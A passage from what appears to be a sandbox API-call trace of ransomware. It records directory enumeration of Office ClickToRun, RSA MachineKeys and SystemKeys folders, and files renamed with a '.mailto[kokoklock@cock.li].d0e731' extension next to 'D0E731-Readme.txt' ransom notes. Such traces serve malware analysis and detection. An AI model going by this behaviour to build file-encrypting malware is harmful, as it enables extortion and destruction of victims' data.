Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*" [0174.863] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c1a0 [0174.863] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*", lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x8af0d5de, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8af0d5de, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30457a8 [0174.866] wcscmp (_String1=".", _String2=".") returned 0 [0174.866] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x8af0d5de, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8af0d5de, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.866] wcscmp (_String1="..", _String2=".") returned 1 [0174.866] wcscmp (_String1="..", _String2="..") returned 0 [0174.866] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ae9b110, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ae9b110, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ae9b110, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.867] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.867] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.867] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a09ff9, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a09ff9, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x8ae9b110, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x52d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0174.867] wcscmp (_String1="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.867] wcscmp (_String1="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe2760 [0174.867] wcscpy (in: _Dest=0x2fe2760, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0174.867] wcscat (in: _Dest=0x2fe2760, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0174.867] wcscat (in: _Dest=0x2fe2760, _Source="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0175.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0175.593] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x8ae74c31, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="S640HA~1.D0E")) returned 1 [0175.593] wcscmp (_String1="s640.hash.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.593] wcscmp (_String1="s640.hash.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x104) returned 0x305ddb8 [0175.594] wcscpy (in: _Dest=0x305ddb8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0175.594] wcscat (in: _Dest=0x305ddb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0175.594] wcscat (in: _Dest=0x305ddb8, _Source="s640.hash.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" [0175.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ddb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0175.594] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x8af0d5de, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38490a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 1 [0175.594] wcscmp (_String1="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.594] wcscmp (_String1="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.594] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x124) returned 0x2fe2280 [0175.594] wcscpy (in: _Dest=0x2fe2280, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0175.594] wcscat (in: _Dest=0x2fe2280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0175.594] wcscat (in: _Dest=0x2fe2280, _Source="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" [0175.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0175.595] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x8af0d5de, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38490a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 0 [0175.595] FindClose (in: hFindFile=0x30457a8 | out: hFindFile=0x30457a8) returned 1 [0175.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c1a0) returned 1 [0175.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9db30) returned 1 [0175.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056c88) returned 1 [0175.596] RtlExitUserThread (Status=0x0) Thread: id = 2302 os_tid = 0xe54 [0174.868] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731")) returned 0x24 [0174.869] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.869] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.869] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x24) returned 0 [0174.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4fd8) returned 1 [0174.869] RtlExitUserThread (Status=0x0) Thread: id = 2303 os_tid = 0xe58 [0174.870] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731")) returned 0x24 [0174.871] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.871] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.871] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x24) returned 0 [0174.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045ed0) returned 1 [0174.871] RtlExitUserThread (Status=0x0) Thread: id = 2304 os_tid = 0xe5c [0174.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013788 [0174.872] wcscpy (in: _Dest=0x3013788, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0174.872] wcscat (in: _Dest=0x3013788, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\" [0174.872] wcscat (in: _Dest=0x3013788, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" [0174.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c408 [0174.872] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30457e8 [0174.873] wcscmp (_String1=".", _String2=".") returned 0 [0174.873] FindNextFileW (in: hFindFile=0x30457e8, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.873] wcscmp (_String1="..", _String2=".") returned 1 [0174.873] wcscmp (_String1="..", _String2="..") returned 0 [0174.873] FindNextFileW (in: hFindFile=0x30457e8, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 1 [0174.873] wcscmp (_String1="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", _String2=".") returned 1 [0174.873] wcscmp (_String1="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", _String2="..") returned 1 [0174.873] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85418 [0174.873] wcscpy (in: _Dest=0x2f85418, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0174.873] wcscat (in: _Dest=0x2f85418, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\" [0174.873] wcscat (in: _Dest=0x2f85418, _Source="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" [0175.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f85418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0 [0175.592] FindNextFileW (in: hFindFile=0x30457e8, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 0 [0175.592] FindClose (in: hFindFile=0x30457e8 | out: hFindFile=0x30457e8) returned 1 [0175.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c408) returned 1 [0175.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013788) returned 1 [0175.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057590) returned 1 [0175.592] RtlExitUserThread (Status=0x0) Thread: id = 2305 os_tid = 0xe70 [0174.874] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x3057ad0 [0174.874] wcscpy (in: _Dest=0x3057ad0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0174.874] wcscat (in: _Dest=0x3057ad0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0174.874] wcscat (in: _Dest=0x3057ad0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*" [0174.874] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c670 [0174.874] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ae287ce, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ae287ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045828 [0174.874] wcscmp (_String1=".", _String2=".") returned 0 [0174.874] FindNextFileW (in: hFindFile=0x3045828, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ae287ce, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ae287ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.874] wcscmp (_String1="..", _String2=".") returned 1 [0174.874] wcscmp (_String1="..", _String2="..") returned 0 [0174.874] FindNextFileW (in: hFindFile=0x3045828, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x8ae287ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="4ECCD1~1.D0E")) returned 1 [0174.874] wcscmp (_String1="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.874] wcscmp (_String1="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x130) returned 0x2fe2898 [0174.875] wcscpy (in: _Dest=0x2fe2898, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0174.875] wcscat (in: _Dest=0x2fe2898, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0174.875] wcscat (in: _Dest=0x2fe2898, _Source="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" [0175.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0175.590] FindNextFileW (in: hFindFile=0x3045828, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ae287ce, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ae287ce, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ae287ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.590] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.590] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.590] FindNextFileW (in: hFindFile=0x3045828, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ae287ce, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ae287ce, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ae287ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0175.590] FindClose (in: hFindFile=0x3045828 | out: hFindFile=0x3045828) returned 1 [0175.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c670) returned 1 [0175.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ad0) returned 1 [0175.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057600) returned 1 [0175.590] RtlExitUserThread (Status=0x0) Thread: id = 2306 os_tid = 0xe74 [0174.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4df0 [0174.875] wcscpy (in: _Dest=0x2fc4df0, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" [0174.875] wcscat (in: 